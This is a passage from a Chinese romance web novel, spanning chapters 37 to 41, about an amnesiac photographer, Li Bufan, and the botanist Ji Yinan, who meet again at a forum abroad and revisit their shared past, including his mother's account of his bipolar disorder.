“他成绩不好也没有关系,我们家有的是资源,只要他好好听话,以后想要什么样的人生没有。我不知道他为什么会得这种病,高中的时候他爸爸发现他不正常,给他找心理医生,他还不想去看,每次要我专门找人把他绑过去在医院里待个两三天。” 所以这就是李不凡从前和季一南说的“学英语”,季一南不会动了,就站在那里,带着他自己也意识不到的恶意看路灯下的万玫。 “后来有一次,我和他爸爸谈生意,对方有个女儿,见过李不凡几次,还挺喜欢他,我们就带着他一起去,结果他刚好发病,把人家一家人都吓了一跳。” 万玫说得几乎要哭了,用纸压着脸颊,不解地看向季一南:“你是怎么忍受他的?你说你在和他谈恋爱,是真的吗?他真的懂怎么去爱别人吗?他连我和他爸都没有爱过。” 季一南原本不想回答,万玫却拿出手机,突然打了一个电话。 “李不凡,”她开了扬声器,“以后你和这个家没有关系了,现在你爸爸这个样子,讨债的人都来找他就好了,这不就是你想看到的吗?” 季一南想去抢万玫手机,却被她侧身挡过了,“李不凡,从小到大你是不是都在恨我?你是不是觉得是我毁了你。” 李不凡的声音很轻地说了是,万玫就哭了起来。 “我不是没有爱过你的,以前你在读书的时候,我多希望你能成才,可你偏偏得了个这样的病,我和你爸治不好你,也管不了你。每次和你说什么你都听不进去,什么回应也没有,你知道我一想到你发病的样子有多痛苦……” 季一南一把夺走了万玫的手机,转身跑进医院。 走廊上还是那么安静,李不凡的姿势好像从未动过,季一南站在原地平复心跳,走到李不凡身前蹲下来,握住他冰凉的手,说:“走吧,我带你回家。” 李不凡迟钝地点点头,被季一南牵住手。 他们上了出租,从医院到公寓总共二十分钟路程,李不凡都安静地趴在季一南肩膀上,到家以后,很快就躺在床上昏睡过去。 季一南没有离开他的房间。他靠着书桌,搜索李方知的公司,才发现他们在两年以前就几乎破产,几个月前才彻底完成清算。他划开李不凡的手机,记下万玫和李方知的电话号码,又看了万玫和李不凡的聊天记录。 大约从他们接近破产开始,万玫就要求李不凡给她转钱。 两人之间没有什么多余的话,基本就是万玫报一个数字,李不凡打过去。直到几个星期以前,李不凡说他没钱了,万玫才提出见面。 聊天记录划到底端,季一南正要关掉李不凡的手机,一条提醒事项从顶部弹出:Valentine’s Day, 5pm, Lover’s Bridge. 情人节傍晚五点,情人大桥。 而这一天又有所特殊,如果一切顺利,它还是季一南毕业典礼的时间。 第38章 “一南,哪怕是同样的经历,不同的人也会有不同的态度,你要多去看事情好的一面。” 季一南想起母亲曾经和自己说过的话,便强迫自己停下对二十七岁那年毕业典礼的回想。 事情好的那一面,便是此刻李不凡就在他身边,真实而温热的。 清洗干净后,季一南抬手关掉了淋浴,裹了一张干毛巾在李不凡身上。 李不凡的头发还湿乎乎的,季一南拿了浴室里的吹风机,给两个人都吹干。收好吹风机,季一南搓了搓李不凡还滚烫的发丝,手指落下的时候,无意识地在他耳后的疤痕摩挲了一阵。 “我以前在威斯林顿留学,在那边待了很多年。” 没听季一南说起过,李不凡愣了一瞬,才说:“是吗?那你对那边应该很熟悉吧,听说那里经常下雨,天气挺差的。” “你走以后我可以给你打电话吗?我会好好看时差。”季一南问。 “好啊,我尽量接。”李不凡笑。 季一南抓住李不凡话中那一点点他不满意的地方,用嘴唇碰了碰李不凡的侧脸,又问:“可以不是尽量吗?” 他靠得更近,被李不凡识别出想要做什么的意图。在浴室里亲了一会儿,李不凡有些缺氧,抬手拉开了门,和季一南一起回了房间,躺在床上。 “你留学的时候应该玩过很多好玩的吧?”李不凡挑了下眉,“比如说……同时和好多个人谈恋爱什么的。” 季一南懵了一瞬,反问:“可能吗?我都有点想不到那个场面。” 李不凡又被他逗笑了:“好吧,那你有没有什么玩得特别好的朋友?” 其实季一南只能想到一个人,所以他说了有。 “哦,男生还是女生?” “男生。” “单纯朋友?你之前说你谈过一次恋爱,不会就是和他吧?” “不是,我之前说的是和你。” “我?” 李不凡身体一顿,“当时我们明明什么都没有。好啊,你自己给自己找了个身份是吧。” “嗯。”反正最后结果也是一样的。 “这么自信?” “没有,”季一南否认,“很不自信。” 他看着李不凡,慢慢说:“我没什么朋友,真正的好朋友只有一个人。” “后来呢?我都没听你提起过他。”李不凡疑惑。 在黑暗中,季一南用手指碰了碰李不凡的嘴唇,“后来……我做错了一些事,所以失去了他。” 李不凡走那天只有季一南去送,他要先从香格里拉坐高铁去丽江,再从丽江飞回重庆收整行李,之后直飞威斯林顿。 转机流程繁琐,前一天晚上,季一南帮他给每个机场都打了电话,确认行李的问题。 离起飞还早,他们到机场的咖啡店简单吃了点早餐。 “以前我留学也是在威斯林顿,后来还在那边工作了一段时间,”李不凡正往华夫饼上淋蜂蜜,“我刚意识到自己失忆时,去国内的医院咨询过,医生说如果待在以前经常待的地方,说不定就会因为熟悉的人和事想起什么。” “这么多天,你有想到什么吗?”季一南问。 “几乎没有吧,画面像碎片一样很不连贯。可能是因为我以前去过太多地方,所以对哪里都没有很深的印象。”李不凡咬了一口华夫饼,用纸巾擦了擦嘴。 “这个好吃,”他说,“你也尝一口。” 季一南眼神很淡地点点头。 两程飞机时间都短,落地后李不凡给季一南发了个信息报平安。 到家他先睡了一觉,醒来后才继续整理房间里的东西。 他出去玩时会用到的各种装备都被装在立柜里。 潜水的脚蹼、冲浪的浪板、雪板、各种冲锋衣、登山杖……还有一排一排的相机,和成叠的照片。 李不凡先查了自己的航班信息,几个月前他确实去了云南,所以在研究所的标本,的确有可能是他采集的。 从云南回来之后,他飞了威斯林顿,再之后就失忆了。 李不凡翻找了留学时学校的许多照片,准备这次过去看看。他把手机扔到一边,坐在地板上选这次要带去的相机和镜头,这时论坛的工作人员也联系了他,给他发来更详细的工作要求。 虽然细节很多,但李不凡仔细看了看,这几乎算不上什么有难度的拍摄。虽然是拍现场,但对方要的又不是写真,找个稍微有经验的摄影师来就可以完成,何况李不凡几乎从来没有参加过类似的拍摄工作。 他开始想不明白,自己为什么会接这份拍摄。 次日,李不凡坐上飞威斯林顿的飞机。 落地后主办方来接,给他介绍了他们安排的助理团队。也是因为这次论坛流程复杂繁琐,主办方才要求李不凡提前至少两周过来准备。 和大家简单熟悉后,李不凡住进酒店,拿着这次论坛的会议安排仔细查看。 论坛总共分为两个会场,其中以植物生态学前沿为主题,日程一共五天,由李不凡和他们安排的团队协作完成拍摄。另外一个会场研究的领域是医学,主要讨论心理疾病对大脑的影响。 看到另一个会场的主题时,李不凡握着笔的手不由自主划了一个圈。 他是不是有可能为此而来。 酒店的早餐是自助,会议的第一天,李不凡一个人坐在座位上吃东西。 很快,他身边坐下来一个说英语的外国人。对方看起来和自己同龄,问他身边的位置有没有人。 李不凡说了没有,他就招手,把自己的同伴也叫过来。 看见李不凡放在旁边的设备,他搭话道:“你是记者吗?” “我是摄影师。”李不凡说。 “你好,我叫Eric,这几位都是我的朋友,麻烦到时候把我们拍帅点啊。”大家都笑了。 李不凡吃好了早餐,准备要走的时候,Eric才犹豫地问他:“我们是不是在哪里见过?” “是吗?”李不凡闻言一顿,“你还记得是在哪里吗?我以前在这边留学过。” Eric又不确定地摇摇头:“可能是我记错了。” Ian和他男朋友几乎同进同出,应该是自己认错。 上午的会议一直持续到当地十二点,因为要处理照片和视频,立刻给写稿的记者可以用的内容,中午李不凡没时间吃饭,只拿着助理买回来的面包咬了几口。 傍晚,论坛第一天结束。次日的讲座关于高山花卉,主办方临时邀请了一位新的学者,因此还有很多日程上的事情要开会解决,李不凡不用参与,便拿着在租房网站上翻到的地址,去找自己之前住的地方。 那里离U大很近,步行即可到达,应该是为了上学租的。 李不凡到时,天色已经完全暗下来。 他站在公寓楼下朝上看,要找的房间透着灯光,应该是有人在。 李不凡推门上楼,在门外就听见里面有人在搬东西。 他敲了敲门,片刻后,一位白发苍苍的老奶奶来给他开门。 “哎,Jasper,你怎么回来了?”老奶奶推了推鼻梁上的老花镜,朝他身后张望,“你男朋友呢?怎么没跟你一起来?” “男朋友?”李不凡懵了,“我有男朋友吗?” “不是吗?”老奶奶也迷糊了,“以前这房子就是你和他,你们两个男生一起租的。你是有什么东西忘记拿了吗?让我帮你寄回去也行啊,怎么还自己过来了。” 手机里没任何亲密对话,合照一张没有,哪怕是李不凡醒后,也从未有所谓的男朋友来联系过他。 李不凡不信如果是他的现任,能在他的生活里消失成这样。 多半是前男友…… 李不凡顿觉头疼。 他告知房东奶奶自己失忆的事情,说只是回来看看。 房东奶奶一脸心疼,说她本来就住在楼下,以前有什么事情,都是找李不凡和他男朋友帮忙。 “我们是一个学校的吗?”李不凡问。 “那我就不知道,但这个房间一直是你们两个男生在住。”奶奶说。 “我们在这里租了多久?” “好几年。” 李不凡在房间里转了几圈,这个房子两室一厅,客厅窗户很大,虽然陈旧但干净,是他会喜欢的风格。但李不凡还是想不到什么,很快就和房东告别,打车回了酒店。 早上八点,他跟着布置现场的工作人员进入报告厅,和助理们一起架机位。 “今天来的是个中国人,和你一个国家呢Jasper。”有个助理点了点海报上那个名字——Ian。 “是吗?”李不凡瞥了一眼,没太在意。 “他可厉害了,一个超级年轻的博士,听说还在U大教了几年书,后来不知道为什么离开了,听说是回国了。” “我听好多中国朋友提过,说在国外的生活怎么都不习惯,一有机会还是要回国。” 李不凡笑,说可能吧。 机位摆好,现场试拍了几张,效果还可以。 李不凡和其他工作人员一起,在角落里席地而坐,靠着休息一会儿。 早上起得太早,李不凡有点困,抵着墙都快睡着了,一个女生拎着一袋早餐跑过来,问:“有没有人能帮我去接一下Ian?” “怎么啦?”旁边人问。 李不凡手撑在膝盖上,这时抬了眼。 “我肚子不太舒服……”想了想,好像还是自己去好一点,女生打算走,李不凡站起来。 “我去吧,”李不凡指了下自己身上的衬衣,“我今天穿得还算正式,不丢脸。” 大家都笑了,女生连连道谢,李不凡撑着地板起来,问她:“我怎么知道谁是Ian,你有他照片吗?” “去东区大门,找负责的Alan,他会带你去的。”女生说。 李不凡认识Alan,他是这次论坛专门负责对接服务的人。 东区大门很远,今天天气有点热,李不凡只在衬衣外面加了件夹克。 他脖子上挂着蓝色的工作牌,一路上遇到好几个熟人,还打了两声招呼。 到大门口以后没见到人,李不凡给Alan打了个电话。 “我马上到了,你转个身!”Alan说。 李不凡偏过头就看见Alan了,他怀里抱了一束火红的花,一来就塞进李不凡怀里。 “给Ian的,等会你递给他,他马上到了。” 李不凡点头说好,他和Alan在门口等了一会儿,Alan接了通电话,没一会儿,一辆很好的车在街边停下,Alan走上前拉开了车门。 后座,一个穿着西装、腰细腿长的男人微微弯腰,低头从车内走出。 第一眼李不凡还以为是自己看错了,异国他乡,遇到一个长相熟悉的人未必不可能。但当他抬头,李不凡就彻底站在了原地。 Ian是季一南。 “Jasper,送下花。”Alan推推他手臂。 李不凡和季一南对视,把花递到他手里。 “Ian,欢迎你来威斯林顿。” “我没想到你在,”季一南接过花,第一句话就是解释,“我真不知道。” “没怀疑你,走吧,去报告厅。”李不凡说。 “你们认识啊?”Alan也听出来了。 “认识,”季一南搭了下李不凡的肩膀,“这是我男朋友。” 这下轮到Alan震惊,不过李不凡也没多解释。 “曾经U大的老师,U大历史上最年轻的植物学博士,请问你还有什么要和我坦白的吗?”李不凡问。 季一南碰了下他后颈,轻笑道:“那些虚名你也听?” “男朋友这么优秀,我听听怎么了,”李不凡把手里的那袋早餐也给季一南,“是不是没吃东西,离开场还有一个多小时,先去休息室吃点吧。” 李不凡把人送到休息室,几个助理便围上来。 他还有其他事,和季一南打了声招呼,就先走了。 拍摄团队的其他人已经在摄像机前待命,李不凡作为负责人一一检查了所有相机。 刚才麻烦他去接人的女生也跑过来连连道谢:“我生理期,肚子实在疼,谢谢你帮忙。” 李不凡看了眼取景框,偏头说:“小事。” 没等多久,会议开始了。 李不凡戴上耳机,将摄像头对准穿着小西装走上舞台的女主持人。 开场白结束,季一南在掌声中走到小演讲台后。 这还是李不凡第一次看季一南穿西服的样子。 之前他虽然总裹在冲锋衣里,还是能看出身量,何况李不凡也不是没见过他什么也没穿,但西服又是另外一种感受。 它是检验一个男人身材最好的衣服。 季一南肩宽腰窄,身上恰到好处的肌肉能把西服的每一角撑起来。他难得打理一次头发,额前的碎发都被捋上去,露出饱满的额头。 站在讲台上,被无数闪光灯照射的季一南,此刻完全不像刻板印象里的那些学者。 季一南都是以他在云南进行的植物考察为案例,讲解中使用到的照片和标本,全部都是他亲手制作的。 他英文流畅、语速不快,语调是很平缓、标准的英音。 照片拍够了,录制也在顺利进行,李不凡便站在三角架后,抱着手臂遥远地看向季一南。 他很优秀,李不凡深深明白这点,几乎移不开视线。 第39章 上半程会议结束,中间有三十分钟休息时间。 李不凡带着助理们走到后台走廊,和导播核对了一下。 他们说话的时候,季一南正好被主持人带着去休息间。 看见李不凡在和人交谈,季一南抬了下手,和主持人说:“谢谢你,但我等下人,我待会儿自己进去。” 主持人顺着季一南的视线看了眼,点点头。 李不凡瞥见季一南留下来,语速加快了一点,对完工作,他才转身,问季一南:“怎么了?” “等你。”季一南抬手,用掌心贴着李不凡后背,把他轻轻朝自己身边带,一个保护欲很强的动作。 李不凡其实没什么感觉,他习惯了,推开休息室的门,和季一南一起进去。 休息室里有几个正在闲聊的工作人员,看见他们进来,声音纷纷小了。 “不知道和我来的是一个论坛就算了,怎么来威斯林顿也不告诉我?”李不凡问。 “本来想忙完去找你的,惊喜么。”季一南说。 “你什么时候回国?” “不赶,都行。对了,最近警方告诉我,他们已经抓到盗猎的人了,来之前我去警局指认过,就是那天的那三个。” 听到这个消息,李不凡也松了口气,“那就好。” “最近累吗?我没想到你的工作竟然是来这个论坛负责现场摄影,我以为你一直都比较喜欢偏户外的。”季一南说。 李不凡也没有想明白,他只是隐隐觉得这一切太过巧合。 去云南偶遇季一南,飞了国外,竟然还会偶遇他。 所有的所有,都只是偶然吗? 可是除了偶然以外,似乎也没有别的解释…… “全世界那么大、那么多人,我偏偏就遇到你了。我们有这种缘分,哪怕换一个国家再相遇,好像也没什么特别值得奇怪的。”李不凡笑笑。 不知道为什么,他说完这句话,季一南神色淡了点。他点了点头,靠近李不凡一些,抬手搭住他的腰,拇指微微用力,按了按。 休息室的门被人推开,来的人是前几天李不凡吃早餐时聊过几句的Eric,李不凡还记得他。 “Ian,好久不见。”Eric笑得很开心,上来就和季一南拍了下掌心。 季一南的手自然地从李不凡身上放下,说:“没想到这次还能看见你。” “我可是一注意到名单上有你,就找助理帮我预订了。”Eric注意到季一南身边的李不凡,又和他问好:“你好,今天早上在酒店我也看到你,但你很忙,我就没和你打招呼。” “没事。”李不凡摇摇头。 “你们是认识吗?”Eric的视线在两人中转了个圈。 “认识。”李不凡没解释。 出于对隐私的尊重,Eric只是笑了笑,没再往下问,和季一南说:“我这次其实还有事想找你帮忙,听说你有潜水证,你能不能跟我一起,去仙诗做海下采集。” 仙诗是临近海域一处保护性的潜点,海下生物极具研究价值。 但由于那里海底地形复杂,常常有流,经验不够丰富的人,是没办法下海作业的。 “我搭档这次没来,但我这几天听好几个学者提起,仙诗海下环境有变化,我想去提取土壤,带回来研究,”Eric保证,“只要你同意,我这边马上能帮你办许可。” 季一南想了想,说:“我最多可以在这边停留半个月。” Eric感激地拍拍他的肩膀,“好,那我再去找个海下摄影,约几个本地潜导。” 李不凡靠着桌边,抱着手,“摄影的话,也许我可以。” “你有潜水证?”Eric问。 “有的,”李不凡点头,“一千二百瓶。” Eric惊讶地看向他。 一千二百瓶空气瓶的经验已经不能用业余爱好来形容了,甚至可以去做潜水教练和潜导。 “但我很久没有潜过了,下水之前还要先花一点时间复习,”李不凡问,“仙诗海洋环境复杂吗?” “不复杂,五十潜左右就没太大问题。”Eric说。 “好,”李不凡点头,“那我也加入。” “真想去?”季一南有点担心,但立刻就为李不凡制定好了简单的计划,“重新考aow的证书一个星期左右也可以完成,这边我熟悉一点,我去帮你约潜点。” 李不凡抬了下眉毛,低声换了中文:“不愧是学霸,这就给我安排好了。” Eric看他们打算聊天,很识相地说自己还有事,先离开了。 “今天心情不错啊。”李不凡说。 “当然,本来没想过能见到你。”季一南也靠住桌子,垂眼盯着李不凡搭在桌沿的手。 “最近我打算再做一做失忆之前喜欢的那些事,我发现我是有肌肉记忆的,之前在香格里拉的时候,很多野外的技能不用刻意回想,我也知道应该怎么做。我慢慢能感觉到我以前为什么会喜欢这些运动,山里很安静,只要待在那个环境里,我就好像什么都不用想。”李不凡说话的时候,季一南就用掌心碰了碰他的手背,很慢地牵了起来。 “如果你喜欢的话,我都可以和你一起。”季一南把他的手扣紧了。 “你也要跟着我跳伞蹦极滑翔吗?” “当然可以。” 季一南回答得这么快,李不凡就有些意外:“你真的可以?” “对啊,那些证我也有,”季一南说,“我都有。” “是因为喜欢吗?还是出于你的职业需要?” “因为喜欢啊。” 因为喜欢喜欢这些的人。 因为想去看看那个能够吸引他的世界是什么样的。 因为想要和他一起做他爱做的事,希望那个人不是别人。 后来渐渐也爱上了他爱的世界,只后悔自己做得太晚。 “那我去潜水教学你也一起,”李不凡看了眼时间,中场休息快结束了,“我先走了。” 他站直了,手腕被季一南一拉,整个人后退半步,站在季一南的双腿之间。 他腿长不是因为西装,是真长。 “干什么?”李不凡笑着问。 “亲下。”季一南握着他的手没放,仰起脸,这个距离只用嘴唇碰到了李不凡的下巴。 他贴着他的皮肤,低声说:“低头……” 湿润的嘴唇贴住了彼此,在随时可能有人进来的休息室,李不凡有些紧张,呼吸也比平常重。 他感受到扑上脸颊的潮意,被含住嘴唇吮吸的感觉,像沉在海里。 季一南的手有些用力,慢慢地把李不凡抱得很紧,几乎贴在自己怀里,让李不凡有片刻分神地想,季一南应该是一个在亲密关系中对安全感需求很高的人。 这个吻时间不长,季一南轻咬了下李不凡的舌尖,就侧过脸,抵着他温热的颈侧,吮吻着他的喉结。对有些敏感的地带似有若无的触碰,让李不凡有了别的感觉。他挺沉地吸了口气,想到之前在房东那里听说自己曾经有男朋友的事,又心不在焉起来。 他忍不住偏了脸,在季一南的吻落空以后清了下嗓子:“季一南,有件事我觉得我必须要告诉你。” 季一南看着他,示意他说。 “我之前有男朋友。” 李不凡看见季一南顿了下,像花了一点时间整理好心情:“怎么知道的?” “我以前在这边留学,我抽空过去问了问我之前租的房子的房东,她说我都是和另外一个男生住在一起……”李不凡垂头,一直观察着季一南的表情,“她说她觉得我们是情侣。” 季一南没立刻说话,扶住李不凡的手摩挲了下他的手臂。 “哦……情侣啊。” “但是我进房间看了看,那是两室一厅,所以我觉得我们也有可能只是室友,毕竟房东太太应该没有那么清楚我们的关系,”李不凡解释道,“当然这也只是我的个人猜想,不过我完全没有想过要用这个借口糊弄你。” “我没有生气,”季一南也不像是在说谎,“你有过男朋友很正常。” “可是……” “没关系的。”季一南放开了李不凡,指腹贴了下他嘴唇,很生硬地转移话题:“有点红怎么办。” “不怎么办。”李不凡抿了抿唇。 他想季一南大概是真的不想聊这个,于是也没有继续往下讲。 季一南没立刻让他走,就这样坐着抱了李不凡一会儿。等到时间差不多,才轻轻拍了下他腰:“应该快有人来了。” 他们刚刚分开,就有人敲响了休息室的门。 “Ian,我进来了。” 工作人员推开门,李不凡便和季一南说:“我先走了。” 第40章 下午讲座只持续到四点左右,李不凡和同事们一起收拾摄影器材,到门口才看见季一南的短信。 他说等你,李不凡一抬眼,望见狭窄的车道对面,季一南靠着一辆黑色的敞篷跑车对他招手。 李不凡拎着器材跑过去,季一南说他已经约好了潜水教练,今天就可以过去。 反正晚上也没有其他事情好做,李不凡欣然同意。 日落时天气也热,暖风一吹,李不凡的身上起了一层很薄的汗,在夕阳下发着橘色的光。 车里放着快节奏的音乐,李不凡的手指在窗边一下一下点着,唇角带着自然随意的微笑。这场景季一南见过,但已经是很多年以前的某一个瞬间,李不凡好得像从来就没有什么烦恼。 他们开车穿过大桥,桥下波光粼粼,李不凡拿出墨镜架在鼻梁,问季一南:“这桥有名字吗?” “有啊,”季一南的头发被风吹乱了,“它叫情人大桥。” “叫这个名字……是只有情人才能上桥吗?”李不凡笑。 “也许吧,因为名字很浪漫,每到节日,这里人就很多。” “哦……那你来过几次?” “三次,”季一南诚实地说,“今天是第四次。你很好奇吗?关于我的过去。” 第一次是李不凡提议,在情人大桥上季一南收获人生中最珍贵的承诺。 第二次是他的博士毕业典礼,他没看到夕阳,倒是被暴雨淋出几天的感冒和肺炎。 第三次是他离开威斯林顿之前,季一南最后一次买到桥边的冰淇淋,夕阳似乎还是同一个角度,照在人身上却变成了疼。 第四次就是现在,李不凡坐在他身边,什么也不记得了,还在问他来过这里几次。 “只是想多了解一点,”李不凡说,“你以前在哪里读书,和什么人交过朋友,爱吃什么,去哪里玩……季一南,我们已经离开云南了,只了解那个在香格里拉的你,对我来说还不够。” “你说你去了以前租过的房子,”季一南顿了顿,“为什么想去?你说过,你觉得自己哪怕失去记忆,好像也过得还可以,那现在呢?” 李不凡低声道:“如果我真的什么都不记得,那也就算了,但偶尔我也会想起一些片段,很少,但总觉得很重要。” “什么片段?”季一南问。 “一通电话,”李不凡的手指顺着车内音乐的节奏敲击着车窗边缘,“我只知道我在打一通电话,但是为什么打,打给谁,又说了什么……暂时都想不到了。 “而且最近我还在想一个问题,我去了解过双相情感障碍,按道理来说,我病到这种程度,应该是连大脑都发生了器质性的改变,可是为什么现在的我完全没有受影响呢?很奇怪……就好像……” 猜测太离谱,李不凡轻笑一声:“可能是我疯了,但我觉得和以前的我相比,现在的我可能已经完全是另外一个人了,就像小说里的那种……重生一样。” 跑车在路上忽然地颠簸,季一南握紧方向盘,说:“那如果真的是呢?” “什么真的是?”李不凡瞥他一眼,“你说重生啊?大科学家,你还信这个?” “你没听说过晚年的牛顿也在研究神学吗?这个世界上还是有很多无法解释的事。” “嗯……有道理。”李不凡没有否认。 车到了下桥的位置,一块写着Valentine’s Bridge的指示牌从身侧飞快划过,李不凡仰起脸,闭上眼,感受风抚过身体,又沿着季一南提出的“构想”继续假设下去。“那我觉得,最无法解释的事其实不是重生不是穿越。” 前方道路空旷,季一南加快了车速,在跑车的轰鸣中问李不凡:“那是什么?” 李不凡喊出:“是爱。” 他望向季一南,日暮的光线把墨镜的黑变得很薄,让季一南能够看到李不凡眼中的神色:“最无法解释的事,是我看见你第一眼,就觉得你很熟悉,就很喜欢你……或者说,好像我已经喜欢你很久了,只是我自己也不知道。” 是真的很久了。 久到季一南已经忘记自己不认识李不凡的时间,久到提起所有年少时光,提起友情,爱情,快乐,幸福,或者失落,痛苦,无助,迷茫……季一南都只能想到一个人。 他独一无二,是季一南人生中的唯一,让他上天堂,让他下地狱,让他勇往直前,也从不回头。 这一刻,胸腔中震动发酸的情绪,季一南只是庆幸自己还戴着墨镜,不至于当着李不凡的面就暴露所有。 他胡乱地说了一些话,什么大概这就是一见钟情吧,什么我也很熟悉你,最后甚至慌乱地提出让李不凡在大桥上许愿,最好是他们这辈子下辈子都要在一起,颠三倒四没有逻辑,听了都要发笑。 好在音乐声足够大,周围的风景足够精彩,李不凡大概是觉得他有感而发,又一贯不善表达,所以没有笑,只是很认真地在做那些听上去格外离谱的事。 “我许完愿了,”李不凡抬起手臂,任由风穿过指尖,“都在风里。” 潜店的位置离大桥不远,坐落在一个小小的港口旁边。 潜水的方式是船潜,出发之前,季一南和李不凡都吃了一粒晕船药。 到达潜点大概要开船一小时,教练就在船上给他们讲解理论知识。 天边只剩下紫色和蓝色时,船停了下来。 第一堂课内容简单,李不凡运动能力也很强,没花多少时间就学会了。 上岸以后折腾了几个小时,他才和季一南一起开车回酒店。 两个人都换了一身干爽的衣服,李不凡靠在座椅上,等到红灯前,就用手撑起头,歪歪地看着车外。 他视线一扫,反而看到了一处熟悉的地方,问:“旁边是U大吗?” “你认识?” “才来过。” “想再进去看看吗?” 还没等李不凡回答,季一南就跟上前面的车流,转了个弯,进入旁边的小道。 他关掉回酒店的导航,在两侧尖顶房屋的小巷中绕了几圈,找到坐落于几个建筑之间的狭窄停车场。 李不凡摘掉安全带下车,等季一南锁好车门过来,他们一起往校门口走。 “你也来过这里?车停得这么熟练。”李不凡问。 “来过几次,毕竟我也在这边读书。”季一南说。 今天恰好是夏季毕业典礼,学校内最大的一块草坪被占用来做宴会场地。 一道鲜花拱门边立着一只木质架子,上面摆了一块纸质海报,英文写着“未来见”的字。长桌上摆放香槟塔和食物,似乎晚宴已经到了快要结束的时候,酒被喝得只剩最后一层,音乐的声音只作背景,三三两两的学生牵着手随意跳舞。 李不凡本来只是想去看看,走到草地边,被一个喝多的男学生拦住。对方穿着西装,把手里一杯酒塞给他:“你也是我们年级的?我怎么好像没见过你……” 他的朋友立刻上前把人抱住,抱歉地说:“不好意思啊,他喝得有点多。你们是来玩的吗?怎么现在才到。” “路过而已。”李不凡笑道。 “我们学校宴会,路过也可以参与,酒还剩呢,去喝点呗,”那人抓住朋友乱挥的手,“我先带他回去,你们玩。” 两个人转身就走,倒是李不凡拿着酒杯无奈地站着。季一南轻巧地拿走他手里的杯子,说:“走吧,过去看看。” 他们走到香槟塔边,季一南重新给李不凡挑了一杯酒。草坪上没有什么适合坐的地方,只在一旁的冰淇淋车边有几把野营椅。季一南走过去,给李不凡买了一支甜筒,老板递过来的时候还附赠了一朵玫瑰花,但季一南只特别注意甜筒的包装——只是用了一圈纸,没有当年那种银色的绳子。 回头时,李不凡已经在椅子上坐下来。 季一南把冰淇淋递给他,自己喝了酒。 度数比想象得高,季一南放下酒杯,看见李不凡已经将甜筒上的冰淇淋都吃掉了。 “国外的毕业典礼这么有意思的么?香槟,”李不凡抬了抬空掉的酒杯,“舞会……真是自由。那你呢?你们学校的毕业典礼是不是也这样。” 季一南似乎对这个话题不感兴趣,停顿很久也只说:“差不多,没什么特别的,只是形式不一样而已。” 李不凡点点头,又咬了冰淇淋一口,状似无意地说:“你好像不怎么喜欢自己的留学经历,每次提到,你都不太愿意聊。” 季一南错愕一瞬,“没有……” 李不凡没讲话,只是借冰淇淋车里的灯,略带笑容地看着季一南,季一南只好重新解释了一遍:“我本科毕业的时候,最好的两个朋友在一起了,而且还领证了。硕士毕业没什么特别印象,因为我当时为了申博焦头烂额。后来博士毕业,我决定留校做老师,那年可能稍微特殊一点……毕业典礼参加完,我一个人跑去情人大桥。” “情人大桥?是我们路过的那个情人大桥吗?”李不凡问。 “是的。” “但你不是说,你的学校离这边很远吗?” 季一南垂眼,看着放在桌边的一朵红玫瑰,“是很远,所以我当时有点傻。” “你去情人大桥做什么?”李不凡笑着猜测,“看日落吗?如果是看日落的话,我可不觉得你傻,这明明是很浪漫的事,一般人不会送自己一场日落。 “你想啊,送日落的人越少,那对于收到日落的人来说,那场日落就更珍贵了。” 李不凡吃完了冰淇淋,小店的灯扫在他的侧脸,却衬得他眼睛很亮,像天上的星星,又像那个季一南不愿提起的傍晚连绵的雨珠。 一杯香槟不至于让他醉,但的确起到了些许催化作用,季一南看着眼前的李不凡,忽然泄了那股装腔作势的气,只诚实地说:“是看日落,但那天下雨了,日落很快就结束了,我朋友也没有来,只剩下我一个人,就觉得也没那么好看了。 “我留学这几年过得不差,甚至挺好的,很值得怀念,但因为结局太坏,有时候我也不想想到,想到就很痛苦。” 他眼神很深,瞳孔的底部还藏着李不凡看不透的情绪。季一南抬了手,握住李不凡拿着甜筒包装的指尖,说:“还差一样东西。” “……什么?”李不凡问。 季一南眨了下眼,低声说:“差一根银色的绳子。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 季一南博士毕业的那个冬天,威斯林顿被前所未有的剧烈寒潮袭击,许多在街边流浪的无家可归的人死在那一年。 但这并不是令季一南对那个冬天感到难忘的原因。 单从毕业这件事来说,季一南非常顺利。他拿到了留校的Offer,甚至提前处理好了毕业的各种手续。而在万玫和李方知突然出现并大闹一通后,他们又突然消失了。 经过比往常更长的一段郁期,李不凡才总算恢复了一些。 几个月后,在季一南的博士毕业典礼之前,他收到了学校的聘用函,在回公寓的路上,又顺便去拿了之前就订好的两只戒指。走到楼下时,季一南碰见在家居服外套着羽绒服的李不凡蹲在地上,喂门外的流浪小猫。 “你回来了?”李不凡站起来,眼睛很亮,“我去你喜欢的中餐馆打包了好多菜。” 只一眼,季一南看出他的郁期结束了,但什么也没有说,牵起李不凡的手回家。 “我今天拿到聘书了,等毕业以后就入职。” 晚餐时有人敲了门,直到大门彻底打开前季一南都想不到来的会是谁。 没料到门外站着的是他们好几年没见过的朋友——喻修景。 他穿着短款羽绒服,脱掉帽子和口罩,对季一南笑笑:“一哥,好久不见。” 看季一南很长时间没有说话,李不凡已经从厨房走过来,看见喻修景愣了下,跳上去抱住他:“小景,你来了怎么也不告诉我。” “临时在隔壁市拍广告,查了下地图觉得也不远才过来的。”喻修景说。 “外面冷,”季一南让出空间,“先进来。” 有朋友来,季一南从橱柜里翻出一瓶买了很长时间也没有喝过的红酒,三个人坐在不算很宽的沙发上聊天。 喻修景先说:“我记得一哥今年毕业。” “毕业手续都差不多了,”季一南靠着软背,一条手臂被李不凡压在沙发上,给他垫着腰,“我以后留校当老师。” “老师?”喻修景很轻地笑了一下,似乎是对季一南的选择既有些意外,又觉得合理。 酒喝了半杯,李不凡问:“小景,徐祁年呢?他是不是也很忙。” “他……”喻修景这时才露出有些为难的表情,“我们……早就分开了,今天来之前唯一一次犹豫,就是怕你们问到这个。” 答案出乎意料,听的人都不知该怎么反应。在国外这几年,喻修景和徐祁年也偶有来找他们玩的时候,印象里都很恩爱,仔细计算,最近这段时间好像的确没有再见到他们。成年人的世界本来就不止友情和爱情,事业忙碌一点情有可原,没想到没有怎么关心之后,他们竟然悄无声息地分开。 最先回神的是季一南,他轻轻碰了下李不凡的腰,李不凡才说:“你愿意和我们聊这个吗?不愿意的话就算了。” “除了你们,我好像也没有可以聊的人。”像是下定了决心,喻修景仰头喝完了红酒,靠在沙发上慢慢地说:“现在想想,我觉得我们决定结婚这件事,可能有些太草率。我不是说我们喜欢对方喜欢得不够,就是……在一起这件事,不仅仅需要感情到位,它其实是一件很复杂的事情。 